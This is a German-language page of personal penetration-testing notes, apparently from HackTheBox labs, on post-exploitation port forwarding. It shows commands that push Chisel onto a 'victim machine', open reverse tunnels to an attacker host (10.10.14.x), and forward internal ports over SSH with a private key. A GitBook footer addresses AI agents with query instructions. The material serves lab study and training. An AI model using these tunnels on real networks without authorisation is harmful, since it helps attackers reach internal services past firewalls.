> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/post-exploitation/port-forwarding-techniques.md).

# Portweiterleitungstechniken

{% hint style="info" %}
**Portweiterleitung** ist eine Netzwerktechnik, die Verbindungen von einem bestimmten Port auf einem Rechner auf einen anderen Rechner oder Port umleitet. Dies wird oft verwendet, um von außen auf interne Dienste zuzugreifen und dabei Firewalls oder Router zu passieren.
{% endhint %}

<pre class="language-bash"><code class="lang-bash">netstat -tuln
<strong>netstat -ano | findstr LISTENING
</strong></code></pre>

## Chisel :

### Linux

Zuerst haben wir Chisel auf unserem lokalen Rechner kompiliert:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
git clone https://github.com/jpillora/chisel
```

```bash
go build -ldflags "-s -w" .
upx chisel
```

Dann übertragen Sie die Chisel-Executable über einen Python3-HTTP-Server auf die Opfermaschine:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/1111d71316a37a103c336f75550b9cc898dedbd1" alt=""><figcaption></figcaption></figure>

Auf unserem Rechner haben wir den Chisel-Server gestartet:

<pre class="language-bash"><code class="lang-bash"><strong>./chisel server -p 8888 -reverse
</strong></code></pre>

Konfigurieren Sie auf der Opfermaschine den Chisel-Client so, dass Port 631 zurück an die Angreifer-Maschine weitergeleitet wird:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/5591a7867620205a8ad08f999e4286b6719f56b2" alt="" width="563"><figcaption></figcaption></figure>

### Windows

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Dateien herunterladen und vorbereiten:**/ Wir haben die komprimierten **Chisel** Dateien heruntergeladen, nämlich:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Nachdem Sie die Dateien extrahiert haben, übertragen Sie die **Chisel** Binärdatei auf das Windows-Ziel:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/90d51a7f50506d40c9e02ae27a9cce763850c92c" alt=""><figcaption></figcaption></figure>

**Abhören auf der Angreifer-Maschine mit Chisel:**/ Starten **Chisel** im Servermodus auf der Angreifer-Maschine auf Port 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Dann führen Sie auf der Windows-Maschine **Chisel** im Clientmodus aus und leiten Sie Port 5985 zurück an die Angreifer-Maschine weiter:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/570dbc820aa35aeea368a8f823cf92e46bc3245f" alt=""><figcaption></figcaption></figure>

## SSH :

Wir leiten die internen Ports auf unsere Maschine um und verwenden den privaten Benutzerschlüssel und setzen die korrekten Berechtigungen:

```bash
chmod 600 id_rsa
```

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

<figure><img src="/files/8163d25bd69cd61794c2050cf23a3c58538a8e27" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/post-exploitation/port-forwarding-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
